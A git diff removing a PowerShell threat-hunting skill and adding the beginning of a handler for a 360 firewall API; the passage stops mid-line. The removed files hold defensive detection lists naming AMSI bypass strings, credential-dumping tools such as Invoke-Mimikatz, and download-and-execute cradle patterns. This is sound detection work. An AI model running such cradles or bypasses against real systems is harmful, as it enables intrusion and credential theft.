"Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/SKILL.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/SKILL.md deleted file mode 100644 index 5f7c60a26..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/SKILL.md +++ /dev/null @@ -1,73 +0,0 @@ ---- -name: hunting-for-anomalous-powershell-execution -description: 'Hunt for malicious PowerShell activity by analyzing Script Block Logging (Event 4104), Module Logging (Event - 4103), and process creation events. The analyst parses Windows Event Log EVTX files to detect obfuscated commands, AMSI - bypass attempts, encoded payloads, credential dumping keywords, and suspicious download cradles. Activates for requests - involving PowerShell threat hunting, script block analysis, encoded command detection, or AMSI bypass identification. - - ' -domain: cybersecurity -subdomain: threat-hunting -tags: -- powershell -- script-block-logging -- event-4104 -- amsi -- threat-hunting -- evtx -- obfuscation -version: '1.0' -author: mahipal -license: Apache-2.0 -nist_csf: -- DE.CM-01 -- DE.AE-02 -- DE.AE-07 -- ID.RA-05 ---- -# Hunting for Anomalous PowerShell Execution - -## Overview - -PowerShell Script Block Logging (Event ID 4104) records the full deobfuscated script text -executed on a Windows endpoint, making it the primary data source for hunting malicious -PowerShell. Combined with Module Logging (4103) and process creation events, analysts can -detect encoded commands, AMSI bypass patterns, download cradles, credential theft tools, -and fileless attack techniques even when the attacker uses obfuscation layers. - - -## When to Use - -- When investigating security incidents that require hunting for anomalous powershell execution -- When building detection rules or threat hunting queries for this domain -- When SOC analysts need structured procedures for this analysis type -- When validating security monitoring coverage for related attack techniques - -## Prerequisites - -- Windows Event Log exports (.evtx) from Microsoft-Windows-PowerShell/Operational -- Python 3.8+ with python-evtx and lxml libraries -- Script Block Logging enabled via Group Policy -- Understanding of common PowerShell attack techniques - -## Steps - -1. Parse EVTX files extracting Event 4104 script block text and metadata -2. Reassemble multi-part script blocks using ScriptBlock ID correlation -3. Scan script text for AMSI bypass indicators and obfuscation patterns -4. Detect encoded command execution and base64 payloads -5. Identify download cradles, credential dumping, and lateral movement commands -6. Score and prioritize findings by threat severity - -## Expected Output - -```json -{ - "total_events": 1247, - "suspicious_events": 23, - "amsi_bypass_attempts": 2, - "encoded_commands": 8, - "download_cradles": 5, - "credential_access": 3 -} -``` diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/manifest.json b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/manifest.json deleted file mode 100644 index e02d487d5..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/manifest.json +++ /dev/null @@ -1,65 +0,0 @@ -{ - "schemaVersion": "hub.plugin.v1", - "id": "hunting-for-anomalous-powershell-execution", - "type": "skill", - "name": "hunting-for-anomalous-powershell-execution", - "description": "Hunt for malicious PowerShell activity by analyzing Script Block Logging (Event 4104), Module Logging (Event 4103), and process creation events. The analyst parses Windows Event Log EVTX files to detect obfuscated commands, AMSI bypass attempts, encoded payloads, credential dumping keywords, and suspicious download cradles. Activates for requests involving PowerShell threat hunting, script block analysis, encoded command detection, or AMSI bypass identification.", - "version": "1.0", - "author": "mahipal", - "license": "Apache-2.0", - "homepage": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills", - "category": "detection", - "tags": [ - "iam", - "windows", - "ioc" - ], - "useCases": [ - "log-analysis" - ], - "domains": [ - "security-ops" - ], - "capabilities": [ - "llm-agent", - "file-analysis" - ], - "trust": "community", - "source": { - "kind": "bundled", - "path": ".flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution" - }, - "compatibility": { - "flocks": ">=0.8.0", - "os": [ - "darwin", - "linux", - "windows" - ] - }, - "dependencies": { - "skills": [], - "tools": [], - "python": [], - "external": [] - }, - "permissions": { - "tools": [], - "network": false, - "shell": false, - "filesystem": "read" - }, - "risk": { - "level": "low", - "reasons": [] - }, - "entrypoints": [ - "SKILL.md" - ], - "checksums": {}, - "upstream": { - "name": "mukul975/Anthropic-Cybersecurity-Skills", - "url": "https://github.com/mukul975/Anthropic-Cybersecurity-Skills" - }, - "sourceNotice": "Source: This skill is adapted from the open-source project https://github.com/mukul975/Anthropic-Cybersecurity-Skills." -} diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/references/api-reference.md b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/references/api-reference.md deleted file mode 100644 index 46e0d327b..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/references/api-reference.md +++ /dev/null @@ -1,106 +0,0 @@ -# Hunting for Anomalous PowerShell Execution — API Reference - -## Windows Event Log IDs - -| Event ID | Log Source | Description | -|----------|-----------|-------------| -| 4104 | Microsoft-Windows-PowerShell/Operational | Script Block Logging — full deobfuscated script text | -| 4103 | Microsoft-Windows-PowerShell/Operational | Module Logging — pipeline execution details | -| 4688 | Security | Process Creation with command line auditing | -| 800 | Windows PowerShell | Pipeline execution (classic log) | - -## Event 4104 XML Fields - -| Field | Path | Description | -|-------|------|-------------| -| ScriptBlockText | EventData/Data[@Name='ScriptBlockText'] | Full script block content | -| ScriptBlockId | EventData/Data[@Name='ScriptBlockId'] | GUID linking multi-part blocks | -| MessageNumber | EventData/Data[@Name='MessageNumber'] | Part number for split blocks | -| MessageTotal | EventData/Data[@Name='MessageTotal'] | Total parts in split block | -| Path | EventData/Data[@Name='Path'] | Script file path (if applicable) | - -## AMSI Bypass Indicators - -| Indicator | Context | -|-----------|---------| -| `System.Management.Automation.AmsiUtils` | Reflection access to AMSI internals | -| `amsiInitFailed` | Setting AMSI init flag to bypass scanning | -| `AmsiScanBuffer` | Patching the scan buffer function | -| `amsi.dll` | Direct DLL manipulation | -| `VirtualProtect` | Memory protection change for AMSI patching | -| `Marshal::Copy` | Overwriting AMSI function bytes in memory | - -## Suspicious PowerShell Keywords - -| Keyword | Category | -|---------|----------| -| `Invoke-Mimikatz` | Credential Dumping | -| `Invoke-Kerberoast` | Credential Access | -| `Invoke-ShellCode` | Code Injection | -| `Invoke-ReflectivePEInjection` | Process Injection | -| `PowerView` | Active Directory Enumeration | -| `SharpHound` / `BloodHound` | AD Attack Path Mapping | -| `Rubeus` | Kerberos Ticket Manipulation | -| `Out-Minidump` | LSASS Memory Dumping | - -## Download Cradle Patterns - -| Pattern | Example | -|---------|---------| -| `Net.WebClient` | `(New-Object Net.WebClient).DownloadString(...)` | -| `Invoke-WebRequest` | `IWR -Uri http://... -OutFile ...` | -| `DownloadString` | `$wc.DownloadString('http://...')` | -| `Start-BitsTransfer` | `Start-BitsTransfer -Source http://...` | -| `Invoke-RestMethod` | `IRM http://... \| IEX` | - -## Obfuscation Indicators - -| Pattern | Description | -|---------|-------------| -| `-EncodedCommand` / `-enc` | Base64-encoded PowerShell command | -| `IEX` / `Invoke-Expression` | Dynamic execution of string content | -| `[Convert]::FromBase64String` | Base64 decoding in script | -| `-join [char[]]` | Character array concatenation obfuscation | -| `.Replace()` chaining | String substitution for keyword evasion | - -## python-evtx Library Usage - -```python -import Evtx.Evtx as evtx -from lxml import etree - -with evtx.Evtx("PowerShell-Operational.evtx") as log: - for record in log.records(): - xml = record.xml() - root = etree.fromstring(xml.encode("utf-8")) - # Extract EventID, EventData fields -``` - -## CLI Usage - -```bash -# Hunt for suspicious PowerShell in EVTX file -python agent.py --evtx /path/to/PowerShell-Operational.evtx - -# Limit events parsed -python agent.py --evtx logs.evtx --max-events 5000 - -# Save report to JSON -python agent.py --evtx logs.evtx --output hunt_report.json -``` - -## Group Policy Settings for Script Block Logging - -``` -Computer Configuration > Administrative Templates > Windows Components - > Windows PowerShell > Turn on PowerShell Script Block Logging - -> Enabled - -> Log script block invocation start / stop events: Checked -``` - -## External References - -- [Splunk: Hunting for Malicious PowerShell using Script Block Logging](https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html) -- [block-parser: PowerShell Script Block Log Parser](https://github.com/matthewdunwoody/block-parser) -- [Windows Forensic Artifacts: EVTX 4104](https://github.com/Psmths/windows-forensic-artifacts/blob/main/execution/evtx-4104-script-block-logging.md) -- [Elastic: AMSI Bypass via PowerShell Detection Rule](https://www.elastic.co/docs/reference/security/prebuilt-rules/rules/windows/defense_evasion_amsi_bypass_powershell) diff --git a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/scripts/agent.py b/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/scripts/agent.py deleted file mode 100644 index 82acc1829..000000000 --- a/.flocks/flockshub/plugins/skills/Anthropic-Cybersecurity-Skills/hunting-for-anomalous-powershell-execution/scripts/agent.py +++ /dev/null @@ -1,247 +0,0 @@ -#!/usr/bin/env python3 -"""PowerShell Script Block Logging threat hunting agent.""" - -import json -import sys -import argparse -import base64 -import re -from datetime import datetime -from collections import defaultdict - -try: - import Evtx.Evtx as evtx - from lxml import etree -except ImportError: - print("Install: pip install python-evtx lxml") - sys.exit(1) - -NS = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"} - -AMSI_INDICATORS = [ - "amsiutils", "amsiinitfailed", "amsicontext", "amsisession", - "amsiinitialize", "amsi.dll", "amsiScanBuffer", - "System.Management.Automation.AmsiUtils", -] - -SUSPICIOUS_KEYWORDS = [ - "Invoke-Mimikatz", "Invoke-Kerberoast", "Invoke-ShellCode", - "Invoke-ReflectivePEInjection", "Invoke-TokenManipulation", - "Get-GPPPassword", "Get-Keystrokes", "Get-TimedScreenshot", - "Out-Minidump", "Invoke-NinjaCopy", "Invoke-CredentialInjection", - "Invoke-DllInjection", "Invoke-WMICommand", "PowerSploit", - "Empire", "BloodHound", "Rubeus", "SharpHound", - "Invoke-PSInject", "Invoke-RunAs", "PowerView", -] - -DOWNLOAD_PATTERNS = [ - r"Net\.WebClient", r"Invoke-WebRequest", r"wget\s", r"curl\s", - r"DownloadString", r"DownloadFile", r"DownloadData", - r"Start-BitsTransfer", r"Invoke-RestMethod", - r"New-Object\s+IO\.MemoryStream", -] - -OBFUSCATION_PATTERNS = [ - r"-[Ee]nc(?:oded)?[Cc]ommand", - r"\-e\s+[A-Za-z0-9+/=]{20,}", - r"IEX\s*\(", - r"Invoke-Expression", - r"\[Convert\]::FromBase64String", - r"\[System\.Text\.Encoding\]::", - r"\.Replace\(['\"][^'\"]+['\"],\s*['\"][^'\"]+['\"]\)", - r"-join\s*\[char\[\]\]", - r"\$env:comspec", -] - - -def parse_evtx_4104(evtx_path, max_events=10000): - """Parse Event 4104 script block logging entries from EVTX.""" - events = [] - count = 0 - with evtx.Evtx(evtx_path) as log: - for record in log.records(): - if count >= max_events: - break - xml = record.xml() - root = etree.fromstring(xml.encode("utf-8")) - event_id_el = root.find(".//e:System/e:EventID", NS) - if event_id_el is None or event_id_el.text != "4104": - continue - count += 1 - time_el = root.find(".//e:System/e:TimeCreated", NS) - timestamp = time_el.get("SystemTime", "") if time_el is not None else "" - data = {} - for el in root.findall(".//e:EventData/e:Data", NS): - name = el.get("Name", "") - data[name] = el.text or "" - events.append({ - "timestamp": timestamp, - "script_block_id": data.get("ScriptBlockId", ""), - "script_block_text": data.get("ScriptBlockText", ""), - "message_number": data.get("MessageNumber", "1"), - "message_total": data.get("MessageTotal", "1"), - "path": data.get("Path", ""), - }) - return events - - -def reassemble_script_blocks(events): - """Reassemble multi-part script blocks by ScriptBlockId.""" - blocks = defaultdict(list) - for ev in events: - sb_id = ev.get("script_block_id", "") - if sb_id: - blocks[sb_id].append(ev) - assembled = [] - for sb_id, parts in blocks.items(): - parts.sort(key=lambda x: int(x.get("message_number", "1"))) - full_text = "".join(p.get("script_block_text", "") for p in parts) - assembled.append({ - "script_block_id": sb_id, - "timestamp": parts[0].get("timestamp", ""), - "path": parts[0].get("path", ""), - "parts": len(parts), - "full_text": full_text, - }) - return assembled - - -def detect_amsi_bypass(script_text): - """Check script text for AMSI bypass indicators.""" - findings = [] - lower = script_text.lower() - for indicator in AMSI_INDICATORS: - if indicator.lower() in lower: - findings.append({"type": "amsi_bypass", "indicator": indicator}) - return findings - - -def detect_suspicious_keywords(script_text): - """Check for known offensive tool keywords.""" - findings = [] - for kw in SUSPICIOUS_KEYWORDS: - if kw.lower() in script_text.lower(): - findings.append({"type": "credential_or_offensive_tool", "keyword": kw}) - return findings - - -def detect_download_cradles(script_text): - """Detect download cradle patterns in script text.""" - findings = [] - for pattern in DOWNLOAD_PATTERNS: - if re.search(pattern, script_text, re.IGNORECASE): - findings.append({"type": "download_cradle", "pattern": pattern}) - return findings - - -def detect_obfuscation(script_text): - """Detect obfuscation and encoded command patterns.""" - findings = [] - for pattern in OBFUSCATION_PATTERNS: - if re.search(pattern, script_text, re.IGNORECASE): - findings.append({"type": "obfuscation", "pattern": pattern}) - b64_match = re.search(r"[A-Za-z0-9+/=]{40,}", script_text) - if b64_match: - try: - decoded = base64.b64decode(b64_match.group()).decode("utf-16-le", errors="ignore") - if any(c.isalpha() for c in decoded[:20]): - findings.append({ - "type": "encoded_payload", - "decoded_preview": decoded[:200], - }) - except Exception: - pass - return findings - - -def hunt_scripts(assembled_blocks): - """Run all detection checks on assembled script blocks.""" - results = [] - for block in assembled_blocks: - text = block.get("full_text", "") - if not text.strip(): - continue - findings = [] - findings.extend(detect_amsi_bypass(text)) - findings.extend(detect_suspicious_keywords(text)) - findings.extend(detect_download_cradles(text)) - findings.extend(detect_obfuscation(text)) - if findings: - results.append({ - "script_block_id": block["script_block_id"], - "timestamp": block["timestamp"], - "path": block["path"], - "text_preview": text[:300], - "findings": findings, - "severity": "high" if any( - f["type"] in ("amsi_bypass", "credential_or_offensive_tool") - for f in findings - ) else "medium", - }) - return results - - -def run_audit(args): - """Execute PowerShell script block hunting.""" - print(f"\n{'='*60}") - print(f" POWERSHELL SCRIPT BLOCK HUNTING") - print(f" Generated: {datetime.utcnow().isoformat()} UTC") - print(f"{'='*60}\n") - - report = {} - events = parse_evtx_4104(args.evtx, args.max_events) - report["total_4104_events"] = len(events) - print(f"Parsed {len(events)} Event 4104 records\n") - - blocks = reassemble_script_blocks(events) - report["unique_script_blocks"] = len(blocks) - print(f"Reassembled {len(blocks)} unique script blocks\n") - - results = hunt_scripts(blocks) - report["suspicious_blocks"] = len(results) - report["findings"] = results - - amsi = sum(1 for r in results if any(f["type"] == "amsi_bypass" for f in r["findings"])) - cred = sum(1 for r in results if any(f["type"] == "credential_or_offensive_tool" for f in r["findings"])) - dl = sum(1 for r in results if any(f["type"] == "download_cradle" for f in r["findings"])) - obf = sum(1 for r in results if any(f["type"] == "obfuscation" for f in r["findings"])) - report["summary"] = { - "amsi_bypass_attempts": amsi, - "credential_access": cred, - "download_cradles": dl, - "obfuscation_detected": obf, - } - - print(f"--- HUNT RESULTS ---") - print(f" AMSI bypass attempts: {amsi}") - print(f" Credential/offensive tools: {cred}") - print(f" Download cradles: {dl}") - print(f" Obfuscation detected: {obf}") - print(f"\n--- HIGH SEVERITY ---") - for r in results[:15]: - if r["severity"] == "high": - print(f" [{r['timestamp']}] {r['script_block_id']}") - for f in r["findings"]: - print(f" {f['type']}: {f.get('keyword', f.get('indicator', ''))}") - - return report - - -def main(): - parser = argparse.ArgumentParser(description="PowerShell Script Block Hunting Agent") - parser.add_argument("--evtx", required=True, - help="Path to PowerShell Operational .evtx file") - parser.add_argument("--max-events", type=int, default=10000, - help="Max events to parse (default: 10000)") - parser.add_argument("--output", help="Save report to JSON file") - args = parser.parse_args() - - report = run_audit(args) - if args.output: - with open(args.output, "w") as f: - json.dump(report, f, indent=2, default=str) - print(f"\n[+] Report saved to {args.output}") - - -if __name__ == "__main__": - main() diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw.handler.py b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw.handler.py new file mode 100644 index 000000000..14678b2df --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw.handler.py @@ -0,0 +1,1149 @@ +from __future__ import annotations + +import asyncio +import json +import os +import urllib.parse +from typing import Any, Callable, Optional + +import requests + +from flocks.config.config_writer import ConfigWriter +from flocks.security import get_secret_manager +from flocks.tool.registry import ToolContext, ToolResult + + +SERVICE_ID = "360_fw" +STORAGE_KEY = "360_fw_v5_5" +PRODUCT_VERSION = "5.5" +FW_SOFTWARE_VERSION = "V5.5" +FW_BUILD_VERSION = "V5.5R605P000B20240625" + + +class FwApiError(RuntimeError): + pass + + +class RuntimeConfig: + def __init__( + self, + *, + base_url: str, + username: str, + password: str, + verify_ssl: bool, + timeout: int, + ) -> None: + self.base_url = base_url + self.username = username + self.password = password + self.verify_ssl = verify_ssl + self.timeout = timeout + + +ActionBuilder = Callable[[dict[str, Any]], Any] +ActionSpec = tuple[str, str, Optional[ActionBuilder]] + + +def _methods(*values: str) -> list[str]: + return list(values) + + +DOCUMENTED_API_METHODS: dict[str, list[str]] = { + "/login": _methods("POST"), + "/sys_info": _methods("GET"), + "/addressobj": _methods("GET", "POST", "PUT", "DELETE"), + "/addressgroup": _methods("GET", "POST", "PUT", "DELETE"), + "/serviceobj": _methods("GET", "POST", "PUT", "DELETE"), + "/servicegroup": _methods("GET", "POST", "PUT", "DELETE"), + "/predefined_service": _methods("GET"), + "/dom_obj": _methods("GET", "POST", "DELETE"), + "/dns_custom": _methods("GET", "POST", "PUT", "DELETE"), + "/dns_group": _methods("GET", "POST", "PUT", "DELETE"), + "/timeabsobj": _methods("GET", "POST", "DELETE"), + "/timecycobj": _methods("GET", "POST", "PUT", "DELETE"), + "/fwpolicy": _methods("GET", "POST", "PUT", "DELETE"), + "/fwpolicy_state": _methods("PUT"), + "/fwpolicy_move": _methods("PUT"), + "/policy_group": _methods("GET", "POST", "DELETE"), + "/app_policy": _methods("GET", "POST", "DELETE"), + "/web_policy": _methods("GET", "POST", "DELETE"), + "/interface": _methods("GET"), + "/vlan": _methods("GET", "POST", "PUT", "DELETE"), + "/vxlan": _methods("GET"), + "/static_route": _methods("GET", "POST", "DELETE"), + "/healthcheck_list": _methods("GET", "POST", "PUT", "DELETE"), + "/link_health_check": _methods("GET", "POST", "PUT", "DELETE"), + "/policy_route": _methods("GET", "POST", "DELETE"), + "/sdwan_policy": _methods("GET", "POST", "DELETE"), + "/sdwan_status": _methods("GET"), + "/woc_policy_state": _methods("GET"), + "/qos_line": _methods("GET", "POST", "PUT", "DELETE"), + "/qos_policy": _methods("GET", "POST", "DELETE"), + "/policy_qos_line": _methods("GET"), + "/monitor_qos_policy": _methods("GET"), + "/security_region": _methods("GET"), + "/nat_pool": _methods("GET", "POST", "DELETE"), + "/nat_rule_src": _methods("GET"), + "/nat_rule_dst": _methods("GET"), + "/nat_rule_static": _methods("GET"), + "/autoike": _methods("GET", "POST", "DELETE"), + "/phase2ike": _methods("POST", "DELETE"), + "/ipsec_policy": _methods("GET", "POST", "DELETE"), + "/ikesa": _methods("GET"), + "/ipsecsa": _methods("GET"), + "/tunnel_status_table": _methods("GET"), + "/tunnel_status_line": _methods("GET"), + "/tunnel_monitor": _methods("POST", "DELETE"), + "/gre": _methods("GET", "POST", "PUT", "DELETE"), + "/bgp_info": _methods("GET", "POST", "DELETE"), + "/bgp_network": _methods("GET", "POST", "DELETE"), + "/bgp_peer_group": _methods("GET", "POST", "DELETE"), + "/bgp_neighbors": _methods("GET", "POST", "DELETE"), + "/bgp_access_list": _methods("GET", "POST", "DELETE"), + "/bgp_filter_list": _methods("GET", "POST", "DELETE"), + "/bgp_route_map": _methods("GET", "POST", "DELETE"), + "/bgp_map_list": _methods("GET", "POST", "DELETE"), + "/bgp_prefix_list": _methods("GET", "POST", "DELETE"), + "/bgp_prefix_policy": _methods("GET", "POST", "DELETE"), + "/bgp_import_check": _methods("PUT"), + "/bgp_reflector_switch": _methods("PUT"), + "/bgp_timer": _methods("PUT"), + "/bgp_route_reflector": _methods("GET", "POST", "DELETE"), + "/app_obj": _methods("GET", "POST", "PUT", "DELETE"), + "/app_group": _methods("GET", "POST", "DELETE"), + "/getAppList": _methods("GET"), + "/getAppDetail": _methods("GET"), + "/user": _methods("GET", "POST", "DELETE"), + "/user_group": _methods("GET", "POST", "PUT", "DELETE"), + "/user_obj": _methods("GET"), + "/radius": _methods("GET", "POST", "PUT", "DELETE"), + "/ldap": _methods("GET", "POST", "DELETE"), + "/black_list": _methods("GET", "POST", "DELETE"), + "/white_list": _methods("GET", "POST", "DELETE"), + "/blackList_group": _methods("GET", "POST", "DELETE"), + "/blackListGroup_rename": _methods("PUT"), + "/domainBlackList": _methods("GET"), + "/domain_blacklist_export": _methods("GET"), + "/multiple_ids": _methods("POST", "DELETE"), + "/multiple_domains": _methods("POST", "DELETE"), + "/protect_policy": _methods("GET", "POST", "DELETE"), + "/protect_policy_enable": _methods("PUT"), + "/vsys": _methods("POST", "PUT", "DELETE"), + "/xml_av_profile": _methods("GET", "POST", "PUT", "DELETE"), + "/signature_set": _methods("GET", "POST", "PUT", "DELETE"), + "/cpu_state": _methods("GET"), + "/memory_state": _methods("GET"), + "/device_state": _methods("GET"), + "/device_link_state": _methods("GET"), + "/interface_flow_state": _methods("GET"), + "/interface_flow_bar_state": _methods("GET"), + "/user_flow_state": _methods("GET"), + "/user_flow_bar_state": _methods("GET"), + "/monitor_user": _methods("GET"), + "/app_flow_state": _methods("GET"), + "/app_flow_bar_state": _methods("GET"), + "/url_state": _methods("GET"), + "/url_bar_state": _methods("GET"), + "/threaten_state": _methods("GET"), + "/threaten_bar_state": _methods("GET"), + "/interface_monitor": _methods("GET"), + "/vxlan_monitor": _methods("GET"), + "/lte_config": _methods("GET"), + "/loopback": _methods("GET"), + "/ha_config": _methods("GET"), + "/ha_config_syn": _methods("GET"), + "/ha_status_all": _methods("GET"), + "/lte_info": _methods("GET"), + "/ntp_config": _methods("GET"), + "/v0.0.1/ntp_config": _methods("GET"), + "/ntp_key": _methods("GET"), + "/syslog_server": _methods("GET"), + "/v0.0.1/syslog_server": _methods("GET", "POST", "DELETE"), + "/logFilter": _methods("GET"), + "/fw_policy_config": _methods("GET"), + "/license_config": _methods("GET"), + "/virtual_route_list": _methods("GET"), + "/diagnose": _methods("GET"), +} + +BLOCKED_HIGH_RISK_MUTATIONS: dict[str, set[str]] = { + "/save_config": {"GET", "POST", "PUT", "DELETE"}, + "/change_password": {"GET", "POST", "PUT", "DELETE"}, + "/config_clear_common": {"GET", "POST", "PUT", "DELETE"}, + "/config_clear_interface": {"GET", "POST", "PUT", "DELETE"}, + "/restart": {"GET", "POST", "PUT", "DELETE"}, + "/restore": {"GET", "POST", "PUT", "DELETE"}, + "/library_upgrade": {"GET", "POST", "PUT", "DELETE"}, + "/software_update_now": {"GET", "POST", "PUT", "DELETE"}, + "/software_update_ontime": {"POST", "PUT", "DELETE"}, + "/system_upgrade": {"GET", "POST", "PUT", "DELETE"}, + "/license_config": {"POST", "PUT", "DELETE"}, + "/ha_config": {"POST", "PUT", "DELETE"}, + "/fw_policy_config": {"POST", "PUT", "DELETE"}, + "/global_domain_block_switch": {"PUT", "POST", "DELETE"}, + "/clearBalckDomainBingo": {"GET", "POST", "PUT", "DELETE"}, + "/domain_blacklist_import": {"GET", "POST", "PUT", "DELETE"}, + "/session_monitor": {"DELETE"}, + "/ispList": {"GET", "POST", "PUT", "DELETE"}, + "/isp_restore": {"GET", "POST", "PUT", "DELETE"}, + "/policy_group_move": {"GET", "POST", "PUT", "DELETE"}, + "/nat_rule_src_move": {"GET", "POST", "PUT", "DELETE"}, + "/nat_rule_dst_move": {"GET", "POST", "PUT", "DELETE"}, + "/nat_rule_static_move": {"GET", "POST", "PUT", 